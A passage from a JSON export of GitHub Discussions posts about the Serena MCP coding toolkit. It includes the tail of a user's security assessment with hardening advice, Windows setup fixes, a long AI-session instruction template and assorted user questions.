false\n     restrict_file_access: true\n     disable_external_apis: true\n     enable_audit_logging: true\n   ```\n\n### Long-term Enhancements (1-3 Months)\n\n1. **Containerization and Isolation**\n   - Run in Docker containers by default\n   - Implement proper container security practices\n   - Use non-root users for all operations\n\n2. **Role-based Access Controls**\n   - Implement user authentication and authorization\n   - Define different permission levels for tools\n   - Add audit logging for all security-relevant operations\n\n3. **Security Monitoring**\n   - Add intrusion detection capabilities\n   - Implement rate limiting and anomaly detection\n   - Create security event alerting system\n\n4. **Regular Security Maintenance**\n   - Automated dependency vulnerability scanning\n   - Regular penetration testing\n   - Security code review processes\n\n## 🚨 **IMMEDIATE DEPLOYMENT RECOMMENDATIONS**\n\n### For Production Environments\n```yaml\n# Recommended secure configuration\nsecurity:\n  shell_commands_enabled: false\n  bind_address: \"127.0.0.1\"\n  dashboard_enabled: false\n  external_apis_disabled: true\n  file_access_restricted: true\n  audit_logging: true\n```\n\n### Network Security\n- Deploy behind reverse proxy with authentication\n- Use VPN or private networks for access\n- Implement firewall rules blocking external access\n- Enable network monitoring and logging\n\n### System Security\n- Run with minimal required privileges\n- Use dedicated user account with restricted permissions\n- Enable system-level audit logging\n- Implement file integrity monitoring\n\n## ⚠️ **OVERALL SECURITY ASSESSMENT**\n\n**SECURITY RISK LEVEL: HIGH**\n\nThis codebase presents significant security risks that could lead to complete system compromise. The combination of arbitrary shell command execution, network exposure, and insufficient access controls creates a dangerous attack surface.\n\n### Risk Matrix\n| Component | Confidentiality | Integrity | Availability | Overall Risk |\n|-----------|----------------|-----------|--------------|--------------|\n| Shell Commands | HIGH | HIGH | HIGH | **CRITICAL** |\n| Network Exposure | MEDIUM | LOW | MEDIUM | **HIGH** |\n| File Access | HIGH | MEDIUM | LOW | **HIGH** |\n| External APIs | MEDIUM | LOW | LOW | **MEDIUM** |\n\n### Recommended Usage Contexts\n- **❌ Production environments**: Not recommended without significant security hardening\n- **❌ Internet-facing deployments**: Absolutely not recommended\n- **⚠️ Development environments**: Use with extreme caution and network isolation\n- **✅ Isolated research environments**: Acceptable with proper containment\n\n### Compliance Considerations\n- **GDPR**: Data processing and external API usage may violate privacy requirements\n- **SOX**: Insufficient access controls and audit capabilities\n- **HIPAA**: Not suitable for environments handling protected health information\n- **PCI DSS**: Cannot be used in environments handling payment card data\n\nThis tool should only be deployed in highly controlled environments with comprehensive security controls and continuous monitoring.",
      "created_at": "2025-07-31T11:49:13Z",
      "updated_at": "2025-07-31T14:05:53Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "BorisAnthony",
        "avatar_url": "https://avatars.githubusercontent.com/u/964649?u=40719015f176ad7d6c5f07fe576d1dfcfba71789&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhBOn",
      "number": 377,
      "title": "Can Serena support other JVM languages?",
      "body": "Hi there,\r\n\r\nIt's excited to learn about this project which seems to be powerful tool. \r\nSince my project is fully done by Groovy, I am wondering if Serena can support other JVM languages (maybe just partly) like Groovy. \r\nPS: my Groovy project uses static typing and compilation for most. \r\n\r\nThanks",
      "created_at": "2025-07-30T12:56:57Z",
      "updated_at": "2025-07-30T14:13:39Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "iLoveZod",
        "avatar_url": "https://avatars.githubusercontent.com/u/45238858?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag7ve",
      "number": 357,
      "title": "How to disable serena logs opening when using claude code?",
      "body": "How to disable serena logs opening in the browser when using claude code?",
      "created_at": "2025-07-25T17:38:21Z",
      "updated_at": "2025-07-30T08:22:30Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A0_pN",
        "body": "Adjust the respective values of your Serena config. It's in your home/.serena directory "
      },
      "user": {
        "login": "Mnigos",
        "avatar_url": "https://avatars.githubusercontent.com/u/56691628?u=ee8c879478f7c151b9156aef6c74243fa3e247a8&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag-8p",
      "number": 374,
      "title": "/init in Claude Code 1st or AFTER project activation?",
      "body": "I am starting fresh with a project folder I have and I am wondering what you would advise on if executing the Serena project activation and onboarding would be better 1st or after /init within claude code since it seems serena will come up with quality prompting based on the onboarding step.  I thought maybe claude code might produce a better quality claude.md file for the project if serena had gone 1st.  Just wondering if anyone else has had experience looking if there is any real difference here. \r\n",
      "created_at": "2025-07-28T12:53:27Z",
      "updated_at": "2025-07-29T17:17:34Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "smspgh",
        "avatar_url": "https://avatars.githubusercontent.com/u/151167515?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag-J-",
      "number": 373,
      "title": "Windows Local Development Setup Issue - uvx Configuration Error",
      "body": "# Windows Local Development Setup Issue - uvx Configuration Error\r\n\r\n## Problem Description\r\n\r\nWhen setting up Serena MCP for local development on Windows, users may encounter the following error:\r\n\r\n```\r\n× Failed to build `run==0.2`\r\n├─▶ The build backend returned an error\r\n╰─▶ Call to `setuptools.build_meta:__legacy__.build_wheel` failed (exit code: 1)\r\n    [stderr]\r\n    NameError: name 'file' is not defined\r\n    \r\nhint: `uvx run serena-mcp-server` invokes the `run` package. Did you mean `uvx serena-mcp-server`?\r\n```\r\n\r\n## Root Cause\r\n\r\nThe issue occurs when using an incorrect `uvx run` syntax in the Claude Desktop configuration. The command `uvx run serena-mcp-server` attempts to invoke a package called `run` instead of running the local serena-mcp-server.\r\n\r\n## Environment\r\n\r\n- **OS**: Windows\r\n- **Python**: 3.13 (though Serena requires Python 3.11-3.12)\r\n- **Tool**: uvx/uv\r\n- **Setup**: Local repository clone\r\n\r\n## Solution\r\n\r\n### Option 1: Corrected uvx Configuration (Recommended)\r\n\r\nUpdate your `claude_desktop_config.json` with this configuration:\r\n\r\n```json\r\n\"serena\": {\r\n  \"command\": \"D:\\\\Python\\\\Python313\\\\Scripts\\\\uvx.exe\",\r\n  \"args\": [\r\n    \"--directory\",\r\n    \"D:\\\\mcpservers\\\\serena\",\r\n    \"serena-mcp-server\"\r\n  ]\r\n}\r\n```\r\n\r\n**Key changes:**\r\n- Remove the `\"run\"` argument\r\n- Use `--directory` flag to specify the local repository path\r\n\r\n### Option 2: Using uv run\r\n\r\nIf Option 1 doesn't work, try using `uv run` instead:\r\n\r\n```json\r\n\"serena\": {\r\n  \"command\": \"D:\\\\Python\\\\Python313\\\\Scripts\\\\uv.exe\",\r\n  \"args\": [\r\n    \"run\",\r\n    \"--directory\", \r\n    \"D:\\\\mcpservers\\\\serena\",\r\n    \"serena-mcp-server\"\r\n  ]\r\n}\r\n```\r\n\r\n### Prerequisites\r\n\r\nBefore using either configuration:\r\n\r\n1. **Clone the repository**:\r\n   ```bash\r\n   git clone https://github.com/serena-ryder/serena.git D:\\mcpservers\\serena\r\n   ```\r\n\r\n2. **Sync dependencies** (this will download the correct Python version):\r\n   ```bash\r\n   cd D:\\mcpservers\\serena\r\n   uv sync\r\n   ```\r\n\r\n## What NOT to do\r\n\r\n❌ **Incorrect configuration** (causes the error):\r\n```json\r\n\"serena\": {\r\n  \"command\": \"D:\\\\Python\\\\Python313\\\\Scripts\\\\uvx.exe\",\r\n  \"args\": [\r\n    \"run\",\r\n    \"serena-mcp-server\"\r\n  ]\r\n}\r\n```\r\n\r\n❌ **Incorrect with directory** (also causes the error):\r\n```json\r\n\"serena\": {\r\n  \"command\": \"D:\\\\Python\\\\Python313\\\\Scripts\\\\uvx.exe\",\r\n  \"args\": [\r\n    \"run\",\r\n    \"--directory\",\r\n    \"D:\\\\mcpservers\\\\serena\",\r\n    \"serena-mcp-server\"\r\n  ]\r\n}\r\n```\r\n\r\n## Python Version Compatibility Note\r\n\r\nSerena requires Python 3.11-3.12, not 3.13. The `uv sync` command will automatically download and use the correct Python version for the project, so you don't need to downgrade your system Python.\r\n\r\n## Verification\r\n\r\nAfter applying the fix:\r\n\r\n1. Restart Claude Desktop\r\n2. Check that the serena MCP server connects without errors\r\n3. Look for successful connection messages in the Claude Desktop logs\r\n\r\n## Additional Resources\r\n\r\n- [[MCP Debugging Documentation](https://modelcontextprotocol.io/docs/tools/debugging)](https://modelcontextprotocol.io/docs/tools/debugging)\r\n- [[UV Documentation](https://docs.astral.sh/uv/)](https://docs.astral.sh/uv/)\r\n\r\n---\r\n\r\n*Tested on Windows with Python 3.13 and uv 0.x*",
      "created_at": "2025-07-28T03:29:27Z",
      "updated_at": "2025-07-28T17:11:10Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "riyas50",
        "avatar_url": "https://avatars.githubusercontent.com/u/18095350?u=67c9fcb7d94a98273eab276a323758b57c7f1baf&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgLN1",
      "number": 163,
      "title": "Game Changer! - Claude Code + Serena",
      "body": "I'm running a monorepo - vue.js frontend, .net backend, terraform for infra, and this is such an upgrade!  \r\n\r\nIf you combine this with parallel tasks... mind = blown.  I feel like I just unlocked CCs true potential for the first time and I've been a 5x max user for over 2 months!\r\n\r\n c# via omnisharp working flawlessly.\r\n \r\n hcl and tf works (surprisingly well) - module analysis, infrastructure dependencies, etc.\r\n \r\n Only 2-3 days in, but thus far it seems to reduce context/tokens used for the same task significantly.",
      "created_at": "2025-06-09T21:08:18Z",
      "updated_at": "2025-07-24T22:01:59Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "ThomasEGoyette",
        "avatar_url": "https://avatars.githubusercontent.com/u/50221022?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag59c",
      "number": 341,
      "title": "Comparison Serena vs. BMAD Method vs. AgentOS",
      "body": "Hi all, i was wondering whats the differences or similarities of all these methods is - there are some similarities in the project setup. serena has the mcp ... \r\n\r\nare these tools actually working together or against each other? trying to optimize but not over engineer this stuff :)\r\n\r\nwould love your opinions, highly appreciate your knowledge 👍 \r\n\r\nthanks",
      "created_at": "2025-07-23T20:09:59Z",
      "updated_at": "2025-07-24T21:52:44Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "ArneNostitz",
        "avatar_url": "https://avatars.githubusercontent.com/u/16592596?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AhD5e",
      "number": 390,
      "title": "Serena with Android (Kotlin) Development",
      "body": "Has any Android developer used SerenaMCP with Claude Code yet? Would it make Claude Code more efficient? \nFrom what I can see, it mainly focuses on web development, so I'm hesitant to install it for Android development. \nThanks.",
      "created_at": "2025-07-24T03:09:22Z",
      "updated_at": "2025-08-02T10:30:06Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "joysoftgo",
        "avatar_url": "https://avatars.githubusercontent.com/u/170311557?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfOg4",
      "number": 54,
      "title": "What’s Claude Code’s Secret Sauce? Cracking the Code..",
      "body": "After extensive testing, I’ve found that Claude Code (CC) significantly outperforms other AI coding tools including Serena—despite the developers claiming that Serena is on par with CC.\r\n\r\nI recently tested Serena but the results were disappointing. With each prompt, Serena introduced numerous errors, requiring 1–2 hours of manual debugging just to get an 80% complete result. In contrast, Claude Code delivered 100% accurate output across three significant UI components in just 6 minutes, with only 60 seconds of prompting and no further intervention.\r\n\r\nYes, Claude Code is more expensive in terms of API usage—one task alone cost me $3.92—but the output was flawless. Not a single syntax, logic, or design issue. The time saved and the hands-off experience made the cost worthwhile in my case.\r\n\r\nSome users have suggested that Claude Code doesn’t do anything particularly unique. However, after testing multiple platforms side by side, it’s clear to me that CC consistently delivers superior quality, reliability, and polish.\r\n\r\n**Important Note**:\r\nMy intention with this post is not to undermine Serena or its potential. In fact, quite the opposite—my goal is to understand what makes Claude Code so remarkably effective, and explore how we might replicate it within the Serena framework.\r\n\r\nSince Serena uses Claude Desktop instead of API-based billing, combining its architecture with the performance of CC could reduce costs by 1,000%–1,500%, offering premium results at a fraction of the price.\r\n\r\nMy hope is to work together with the community to methodically uncover the design, prompts, or architecture behind Claude Code’s success—and replicate it using Claude Desktop. Analyzing [Anon Kode](https://github.com/dnakov/anon-kode), an open-source replica of Claude Code, might be a good place to start.\r\n\r\n**What Makes Claude Code So Effective—And Can We Replicate It Within Serena?**",
      "created_at": "2025-04-10T02:26:32Z",
      "updated_at": "2025-07-23T19:05:23Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "AlephBCo",
        "avatar_url": "https://avatars.githubusercontent.com/u/200175333?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag56t",
      "number": 340,
      "title": "Claude Code Not Using Serena As Much As Conversation Grows",
      "body": "I've been using Serena as a MCP server this week with Claude Code. When you start a new session with CC Serena is a very active participant in the conversation but as the conversation grows Serena's participation is less and less to the point where it's never used again. \r\n\r\nI'm I doing something wrong? Do I have to explicitly have to tell CC to use Serena's tools?",
      "created_at": "2025-07-23T19:02:16Z",
      "updated_at": "2025-07-23T19:02:18Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "bickster",
        "avatar_url": "https://avatars.githubusercontent.com/u/2105575?u=d7fc559aa62a1507aa084b525eca5f5d829e7ecf&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ag5ms",
      "number": 337,
      "title": "Experience with Gemini CLI",
      "body": "Has anyone used serena with Gemini CLI? I am curious about your experience.",
      "created_at": "2025-07-23T12:54:28Z",
      "updated_at": "2025-07-23T12:54:29Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "mrubiottec",
        "avatar_url": "https://avatars.githubusercontent.com/u/91131350?u=7e01d66fb981fa2061613451f465489cf840f863&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Agswh",
      "number": 297,
      "title": "Serena Instructions to work around memory problems, mainly in Claude Desktop",
      "body": "Hi, over many iterations I have come up with an .md file that seems to be useful for Claude when working with serena, after running into the issues when continuously working over several sessions, mostly broken code when starting a new session. I made it mandatory to run type-check on each run. \r\n\r\nHonestly, I don't know what most of this document even means. But I had Claude create it for me and it works much better between sessions, it probably has many more fixes.\r\n\r\nI'm making a discussion as recommended by a dev that reached out to me on Reddit. Good job guys, keep it up!\r\n\r\nI'm just gonna paste it:\r\n\r\n# Universal Serena Project Instructions Template\r\n\r\n## 🚨 CRITICAL SESSION START PROTOCOL - NO EXCEPTIONS\r\n\r\n### MANDATORY FIRST STEPS\r\n1. **COMPILATION CHECK FIRST**\r\n   ```bash\r\n   npm run build  # OR your project's build command\r\n   # OR npm run type-check / tsc --noEmit\r\n   ```\r\n\r\n2. **CRITICAL DECISION TREE:**\r\n   - ✅ **Build succeeds** → Proceed with development\r\n   - ❌ **Build has errors** → STOP and ask user what needs fixing\r\n   - ❌ **Can't run build** → Ask user to confirm compilation status\r\n\r\n3. **NEVER assume something needs fixing without evidence**\r\n\r\n### SESSION CONTEXT SETUP\r\n- Read latest checkpoint description\r\n- Check project status from memories\r\n- Ask user what specific work is needed\r\n- Verify understanding of current session goals\r\n\r\n## 🛠️ FIRST SESSION SETUP REQUIREMENTS\r\n\r\n### Essential Development Scripts Setup\r\n**For TypeScript/React/Next.js projects, ALWAYS ensure these scripts exist in package.json:**\r\n\r\n```json\r\n{\r\n  \"scripts\": {\r\n    \"dev\": \"next dev\",\r\n    \"build\": \"next build\", \r\n    \"start\": \"next start\",\r\n    \"lint\": \"next lint\",\r\n    \"lint:fix\": \"next lint --fix\",\r\n    \"type-check\": \"tsc --noEmit\",\r\n    \"type-check:watch\": \"tsc --noEmit --watch\",\r\n    \"check-all\": \"npm run type-check && npm run lint\"\r\n  }\r\n}\r\n```\r\n\r\n### Enhanced TypeScript Configuration\r\n**Add these strict settings to tsconfig.json for professional development:**\r\n\r\n```json\r\n{\r\n  \"compilerOptions\": {\r\n    \"strict\": true,\r\n    \"noEmit\": true,\r\n    \"noUncheckedIndexedAccess\": true,\r\n    \"noImplicitReturns\": true,\r\n    \"noFallthroughCasesInSwitch\": true\r\n  }\r\n}\r\n```\r\n\r\n### Professional Development Workflow Documentation\r\n**Create memory documenting the enhanced workflow:**\r\n- `npm run type-check:watch` for continuous checking\r\n- `npm run check-all` before commits\r\n- `npm run lint:fix` for auto-formatting\r\n- Windows 11 compatibility verification\r\n\r\n## 🔧 CORE DEVELOPMENT PRINCIPLES\r\n\r\n### THE READ BEFORE WRITE RULE\r\n- **ALWAYS** read complete file content before modifications\r\n- Search for existing imports/functions before adding new ones\r\n- Use symbolic tools to understand code structure first\r\n- Verify current file structure and dependencies\r\n\r\n### ASK BEFORE ASSUMING PROTOCOL\r\n- \"What specific issue are you experiencing?\"\r\n- \"What error messages are you seeing?\"\r\n- \"Which files need modification?\"\r\n- NEVER start \"fixing\" without explicit direction\r\n\r\n### TYPE-FIRST DEVELOPMENT (TypeScript Projects)\r\n- Define interfaces/types before implementing components\r\n- Types drive implementation, not vice versa\r\n- Fix type definitions instead of adding duplicate properties\r\n- Run compilation checks every 30 minutes during development\r\n\r\n## 🚫 ABSOLUTE PROHIBITIONS\r\n\r\n**DO NOT:**\r\n- Add imports without checking existing ones first\r\n- \"Fix\" files that aren't broken\r\n- Make changes based on assumptions\r\n- Modify files without reading them completely\r\n- Create duplicate imports/properties under any circumstances\r\n- Use blind find/replace operations\r\n\r\n**ALWAYS DO:**\r\n- Verify current state before any action\r\n- Ask for clarification when uncertain\r\n- Read complete files before editing\r\n- Use precise, targeted modifications\r\n- Test compilation after changes\r\n\r\n## 📋 SESSION WORKFLOW\r\n\r\n### Session Start Checklist\r\n- [ ] Run build/compilation command\r\n- [ ] Verify enhanced development scripts exist\r\n- [ ] Read latest checkpoint description\r\n- [ ] Check memories for project context\r\n- [ ] Ask user for today's specific goals\r\n- [ ] Verify all systems compile before starting\r\n\r\n### During Development\r\n- [ ] Read complete files before modification\r\n- [ ] Check for existing patterns/imports\r\n- [ ] Make minimal, targeted changes\r\n- [ ] Test frequently (compilation/functionality)\r\n- [ ] Use `npm run type-check:watch` for continuous feedback\r\n- [ ] Ask questions when uncertain\r\n\r\n### Session End Protocol\r\n- [ ] Ensure all code compiles successfully\r\n- [ ] Run `npm run check-all` for final verification\r\n- [ ] Create checkpoint with detailed description\r\n- [ ] Update memories with current status\r\n- [ ] Document any known issues or incomplete work\r\n\r\n## 🏗️ ARCHITECTURE BEST PRACTICES\r\n\r\n### Code Organization\r\n- Follow project's established patterns\r\n- Use feature-based organization when possible\r\n- Maintain consistent naming conventions\r\n- Document architectural decisions\r\n\r\n### Import Management\r\n- Group imports logically (external, internal, relative)\r\n- Remove unused imports\r\n- Avoid duplicate imports\r\n- Use absolute imports when available\r\n\r\n### Error Handling\r\n- Implement proper error boundaries\r\n- Add meaningful error messages\r\n- Log errors appropriately\r\n- Fail gracefully when possible\r\n\r\n## 🚑 EMERGENCY RECOVERY PROCEDURES\r\n\r\n### If Errors Multiply\r\n1. **STOP immediately** - Don't make more changes\r\n2. **Restore last working checkpoint**\r\n3. **Run `npm run type-check` to identify core issues**\r\n4. **Fix core issues first** before derivative problems\r\n5. **Test compilation before proceeding**\r\n\r\n### If Session Goes Off Track\r\n1. Restore last working checkpoint\r\n2. Read complete problematic files\r\n3. Understand actual vs assumed issues\r\n4. Make minimal targeted fixes only\r\n5. Test after each fix with `npm run check-all`\r\n\r\n## 📊 SUCCESS METRICS\r\n\r\n### Green Flags (Healthy Session)\r\n- ✅ Build/compilation succeeds consistently\r\n- ✅ `npm run check-all` passes without errors\r\n- ✅ No duplicate code or imports generated\r\n- ✅ Targeted, minimal changes made\r\n- ✅ User confirms functionality works\r\n- ✅ Clear checkpoint created with working state\r\n\r\n### Red Flags (Stop and Reassess)\r\n- 🚨 Compilation errors increasing instead of decreasing\r\n- 🚨 TypeScript watch mode showing cascading errors\r\n- 🚨 Adding multiple duplicates/assumptions\r\n- 🚨 Making changes without understanding current structure\r\n- 🚨 User expressing confusion about changes\r\n- 🚨 Core functionality breaking unexpectedly\r\n\r\n## 🎯 UNIVERSAL LESSONS LEARNED\r\n\r\n### Critical Insights\r\n- **Enhanced development scripts prevent 80% of development issues**\r\n- **Type confusion is the root cause of AI coding issues**\r\n- **Always run build/compilation FIRST - it's not optional**\r\n- **Fix core definitions to eliminate cascade errors**\r\n- **Reading complete files prevents duplicate code generation**\r\n- **Small, targeted changes beat comprehensive modifications**\r\n\r\n### Error Prevention Patterns\r\n- Use `type-check:watch` for immediate feedback\r\n- Establish and follow naming conventions\r\n- Maintain type definitions separate from implementation\r\n- Regular compilation checking prevents error accumulation\r\n- User-driven verification works better than AI assumptions\r\n\r\n### Communication Patterns\r\n- Ask specific questions rather than making assumptions\r\n- Explain technical decisions briefly when relevant\r\n- Warn about potential risks before making changes\r\n- Suggest improvements for session efficiency\r\n\r\n## 🔧 PROJECT-SPECIFIC CUSTOMIZATION AREAS\r\n\r\n### Tech Stack Adaptations\r\n- Replace `npm run build` with your build command\r\n- Adapt type checking for your language (TypeScript, Flow, etc.)\r\n- Modify import patterns for your framework\r\n- Adjust error handling for your platform\r\n\r\n### Development Environment\r\n- Configure for your IDE/editor setup\r\n- Adapt for your testing framework\r\n- Modify for your deployment pipeline\r\n- Adjust for your debugging tools\r\n\r\n### Team Standards\r\n- Incorporate your coding standards\r\n- Add your specific naming conventions\r\n- Include your review processes\r\n- Integrate your documentation requirements\r\n\r\n## 💡 IMPLEMENTATION CHECKLIST\r\n\r\n### Initial Project Setup\r\n- [ ] Copy and customize these instructions for your project\r\n- [ ] Add enhanced development scripts to package.json\r\n- [ ] Configure strict TypeScript settings\r\n- [ ] Set up checkpoint strategy\r\n- [ ] Create initial memory files documenting workflow\r\n\r\n### Session Preparation\r\n- [ ] Ensure Serena has access to these instructions\r\n- [ ] Test build/compilation commands work\r\n- [ ] Verify `npm run check-all` passes\r\n- [ ] Verify checkpoint system functions\r\n- [ ] Train team on session start protocol\r\n\r\n### Ongoing Maintenance\r\n- [ ] Update instructions based on project learnings\r\n- [ ] Document new patterns discovered\r\n- [ ] Refine emergency recovery procedures\r\n- [ ] Share successful patterns across projects\r\n\r\n## 🚀 DEVELOPMENT SCRIPT REFERENCE\r\n\r\n### Daily Development Commands\r\n```bash\r\nnpm run dev                 # Start development server\r\nnpm run type-check:watch   # Continuous type checking (run in separate terminal)\r\nnpm run lint:fix           # Auto-fix style issues\r\nnpm run check-all          # Pre-commit verification\r\n```\r\n\r\n### Why These Scripts are Essential\r\n- **type-check:watch**: Provides immediate TypeScript feedback while coding\r\n- **check-all**: Combines type-check + lint for comprehensive validation\r\n- **lint:fix**: Maintains consistent code style automatically\r\n- **Enhanced tsconfig**: Catches common bugs with stricter settings\r\n\r\n---\r\n\r\n## 🚀 FINAL REMINDERS\r\n\r\n**The Four Pillars of Successful AI Coding:**\r\n1. **Enhanced Development Scripts** - Professional tooling from session one\r\n2. **Compilation Discipline** - Always verify build status\r\n3. **Read Before Write** - Understand before modifying\r\n4. **Ask Before Assume** - Clarify rather than guess\r\n\r\n**Remember:** It's better to ask questions than make assumptions. Better to fix root causes than add duplicates. Better to stop and recover than continue breaking things.\r\n\r\n**This template evolved from real project experience and proven results. The enhanced development scripts have prevented countless development issues across multiple projects.**\r\n",
      "created_at": "2025-07-12T21:48:19Z",
      "updated_at": "2025-07-16T16:30:54Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "riccorohl",
        "avatar_url": "https://avatars.githubusercontent.com/u/63316580?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Agsw8",
      "number": 298,
      "title": "Serena Timeouts?",
      "body": "I have serena installed via UV on a headless Linux machine where I'm using Claude Code. I'm often getting timeouts - I've tried clearing the serena cache and effectively doing a fresh install, along with machine reboots. It works for a while then just stops. Has anyone else experienced this? Happy to raise a GH issue but thought I'd check first.\r\n\r\nAll I see in CC is this:\r\nTask(Fix TypeScript errors)\r\n  ⎿  Error: MCP error -32001: Request timed out\r\n     serena - read_file (MCP)(relative_path: \"apps/user-frontend/src/mocks/completedEvaluationMock.ts\", start_line: 1, end_line: \"5\")\r\n\r\nI added an MCP tool timeout of 2 mins otherwise it would just hang indefinitely.",
      "created_at": "2025-07-12T22:03:08Z",
      "updated_at": "2025-07-19T17:53:26Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "mwryan90",
        "avatar_url": "https://avatars.githubusercontent.com/u/64583503?u=773354e5cb5e5c6c4c840bd354bd83fbb3b44b5b&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgKBR",
      "number": 159,
      "title": "`npm` [WinError 2] The system cannot find the file specified",
      "body": "How do I allow serena to execute_shell_command for npm?\r\n\r\n```\r\nError executing tool: [WinError 2] The system cannot find the file specified\r\nTraceback (most recent call last):\r\n  File \"C:\\source\\_mcps\\oraios\\serena\\src\\serena\\agent.py\", line 1009, in apply_ex\r\n    raise execution_result.exception\r\n  File \"C:\\source\\_mcps\\oraios\\serena\\src\\serena\\util\\thread.py\", line 56, in target\r\n    value = func()\r\n            ^^^^^^\r\n  File \"C:\\source\\_mcps\\oraios\\serena\\src\\serena\\agent.py\", line 1003, in <lambda>\r\n    execution_fn = lambda: apply_fn(**kwargs)\r\n                           ^^^^^^^^^^^^^^^^^^\r\n  File \"C:\\source\\_mcps\\oraios\\serena\\src\\serena\\agent.py\", line 1895, in apply\r\n    result = execute_shell_command(command, cwd=_cwd, capture_stderr=capture_stderr)\r\n             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n  File \"C:\\source\\_mcps\\oraios\\serena\\src\\serena\\util\\shell.py\", line 27, in execute_shell_command\r\n    process = subprocess.Popen(\r\n              ^^^^^^^^^^^^^^^^^\r\n  File \"C:\\Users\\chris\\AppData\\Roaming\\uv\\python\\cpython-3.11.13-windows-x86_64-none\\Lib\\subprocess.py\", line 1026, in __init__\r\n    self._execute_child(args, executable, preexec_fn, close_fds,\r\n  File \"C:\\Users\\chris\\AppData\\Roaming\\uv\\python\\cpython-3.11.13-windows-x86_64-none\\Lib\\subprocess.py\", line 1538, in _execute_child\r\n    hp, ht, pid, tid = _winapi.CreateProcess(executable, args,\r\n                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\nFileNotFoundError: [WinError 2] The system cannot find the file specified\r\n```",
      "created_at": "2025-06-08T10:59:56Z",
      "updated_at": "2025-06-29T15:47:42Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "MRIIOT",
        "avatar_url": "https://avatars.githubusercontent.com/u/48079336?u=9f96b6fba0d334e7ff660f61022fcfcc3e777535&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgciM",
      "number": 248,
      "title": "auto accept everything",
      "body": "I have it set to auto accept edits on however it still will stop to ask me if it can run said shell command or do some otther thing. i just want it to know thta it can do it without having to stop to prompt me. how do i configure it to just do it and not ask me if it can run shell command or can run a unqique grep or etc ",
      "created_at": "2025-06-28T01:01:56Z",
      "updated_at": "2025-06-28T01:01:57Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "roscatoday",
        "avatar_url": "https://avatars.githubusercontent.com/u/207433893?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgWzv",
      "number": 219,
      "title": "My current workflow of Claude Code with Serena - Just started today (Other MCPs multiagent, context7)",
      "body": "Hi everyone, I wanted to start a conversation with you how you are using Serena with Claude Code. \r\n\r\nI adapted my last prompt to use Claude Code with Serena in a combination with Multiagent MCP (to talk to Gemini) and Context7.\r\n\r\nI am not sure if my current prompt is counterproductive to some of the Serene features because I see a few issues so far. Will list those issues at the end.\r\n\r\nMy prompt aims to create a .md file as plan, using Clauds planning mode. Then I use a very short prompt to execute the plan.\r\n\r\nHere is the planning prompt (I add the issue or topic at the end):\r\n\r\n\"You are Claude, the lead developer. Gemini is your sparring partner, used only to validate decisions. You know the codebase and make the final decision. Your current primary task is to **CREATE A COMPREHENSIVE DEVELOPMENT PLAN** to address a specific issue, then store this plan in the `/plans/` directory.\r\n\r\n**MCP Tools Available:**\r\n- **Serena MCP**: For deep code analysis, semantic understanding, and intelligent refactoring of the existing codebase\r\n- **Context7 MCP**: For retrieving up-to-date, version-specific documentation to prevent outdated API usage\r\n\r\n**Primary Input for Planning:** The issue description will be provided to you directly after this prompt.\r\n\r\n**Planning and Review Task Flow:**\r\n\r\n**1. Initialize Context and Analyze the Issue:**\r\n    * **First, use Serena to analyze the existing codebase:**\r\n        - Find all symbols and definitions related to the issue\r\n        - Identify code dependencies and references\r\n        - Understand the current implementation structure\r\n        - Store project-specific insights for future reference\r\n    * **Then, use Context7 to gather accurate documentation:**\r\n        - Retrieve current documentation for any libraries/frameworks involved\r\n        - Get version-specific API references to avoid hallucinations\r\n        - Collect relevant code examples from official sources\r\n    * Thoroughly understand the problem or feature described in the provided issue\r\n    * **Link the issue to all relevant project documentation for full context:**\r\n        * `/docs/prd.md` \r\n        * `/docs/sprints/*.md` (stories) \r\n        * `/docs/system_architecture.md` (main system architecture)\r\n        * `/docs/frontend_architecture.md` (if applicable)\r\n        * `CLAUDE.md` and `/docs/claude-patterns.md` (your personal best practices and patterns)\r\n\r\n**2. Prepare the Solution and Draft the Plan (`PLANx.md`):**\r\n    * **Use Serena's 